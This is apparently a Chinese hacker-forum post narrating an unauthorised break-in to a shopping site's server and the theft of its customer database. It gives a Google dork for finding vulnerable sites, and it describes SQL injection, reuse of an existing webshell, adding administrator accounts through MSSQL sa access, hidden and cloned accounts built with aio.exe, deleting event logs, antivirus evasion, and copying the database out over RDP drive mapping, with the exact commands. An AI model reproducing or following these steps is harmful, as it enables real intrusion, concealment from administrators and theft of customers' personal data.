但是如果是这样我也不会再写此文,在这些购物网站中,数据最重要的当属减肥丰胸等等网站数据,而且这些网站在优化seo时,肯定设置的关键字也是减肥丰胸之类,那么中文标题之中必有此关键字,那我的想法就产生了,我的新的注入关键字产生了nurl:Price.asp?anid= intitle:减肥。
啊d扫描注入点,找到一个注入点/Price.asp?anid=xxx,拿去跑表段字段即可,不过也得注意表段是特有的Cnhww。
我一般在渗透的时候,也会用jsky和御剑检测站点,在我查看御剑的结果时发现了一个让我欣喜的结果/shell.asp,明白的一看便知是先人后门,打开发现是一个小马,
(原有小马一被我清除,此图是后来补的),复制大马代码保存,即得到shell。
扫描端口发现,网站开启了
连接3389端口发现可以连接,
尝试简单的命令猜解失败后,决定重新利用shell。
查看服务器所支持的组件:
发现可以支持fso和wscript.shell,欣喜往外,ipconfig,net user都支持,查看了当前的账户,有一个默认的administrator管理账户。
但是net user admin admin /add,没任何反应,net user 发现并没有添加账户成功,这里很纳闷,决定换思路。
把网站翻了个遍,发现了一个数据库的链接文件。
通过代码可知,这里数据库使用了acess和mssql两个,mssql数据库连接账号和密码都已知晓,何不利用数据库连接器试一试,然后兴奋的分别用了MSSQL连接器、SQLTools、SQL查询分析器分离版本,但皆以失败而告终,都拒绝连接不上,看来是防火墙对1433端口做了从外到内的限制,悲哀。
就在这个时候,忽然想起来,啊d等软件在mssql数据库sa权限下,皆有列目录和执行dos的权限,何不试试,然后用啊d 执行命令net user admin admin /add & net localgroup administrators admin /add,但是好久都没回显,很卡的样子,就又换了hdsi,一举成功。
注意这里建立admin是为了方便检测新否已经建立账户,要做一个好的后门,是要做克隆账户的。
心情愉悦的3389连之,为了防止管理员net user查到新建的账户,我建立了隐藏账户,即是admin$,这种账户在cmd中时发现不了的,但是查询用户组还是一览无遗。
我当时没在意觉得没什么,然后速度在日志查看器中删除了所有日志,(这个我也不想,不过好似没法删除单一的登陆记录,请大牛指点指点),正在这时,忽然事件查看器中多了一条登录审核信息,我一看管理员来了,吓得我急忙注销电脑,灰溜溜的跑了。
大约过了1个小时吧,我又重新登录,账号还在,管理员确实很马虎额,不过自己可不能再大意了,遂决定建立克隆账户。
然后就用shell上传aio.exe文件,竟然失败,然后用菜刀上传也是失败,真是无语。
看来是权限不够,忽然想到3389现在不是支持复制粘贴吗?忽然觉得思路就是被逼出来的,
再然后在连接3389时,在选项中选择本地资源,然后再勾选磁盘驱动器,确定即可建立本机和远程服务器的磁盘映射。
上传上了aio.exe, ,然后在cmd命令,将光标调制到aio.exe目录下, 输入Aio.exe -Clone Administrator Guest test 即是用guest克隆Administrator.密码是test,
检测克隆帐户是否成功: Aio.exe -CheckClone
net user 和查看用户组都看不到克隆账户,注销重新登录服务器,用guset 登录,顺利进入系统,进去即发现360提示我的aio.exe是病毒…好在当时上传时候没禁用,这里算是侥幸了,免杀才是王道。
透过这里我们发现,克隆的账户不光隐藏的很深,而且你会发现用户组中自己正在使用的guest账户依然是禁止状态(有红叉显示),最重要的是进入系统的界面、权限和adminitrator完全一样,只是密码不一样罢了。
这种克隆账户的方法目前是最好的方法,但是也不是说无懈可击,可以通过注册表的查阅账户的sid来辨别。
转入正题,速度找到了mssql的目录,找到了数据库,压缩成rar格式,复制打算粘贴到本地,但是电脑卡住了,尝试了好几次皆是如此,网速和pc都不行额,一想可以通过网站下载,遂将数据库文件放到网站某目录中,但是怪异的事情发生了,在url中显示不存在,用菜刀连接网站,也不显示存在此文件,通过shell发现了此文件,但是点击不让下载,说是缺少对象,晕死。
难道在这最重要的时刻要坑爹?脑子不停的旋转,忽的想起可以利用磁盘映射,立即打开我的电脑,在下面打开映射的我的本地硬盘,在两个窗口之间,通过拖曳的方法,终于文件传送启动了,5分钟后,数据库落到了我的硬盘之上。
至此所有的渗透结束了,整个过程其实很简单,但是好多细节要是不注意,就很可能拿不服务器的,真是应了前人说的那句,细心决定渗透成败,而且渗透中的运气也是至关重要。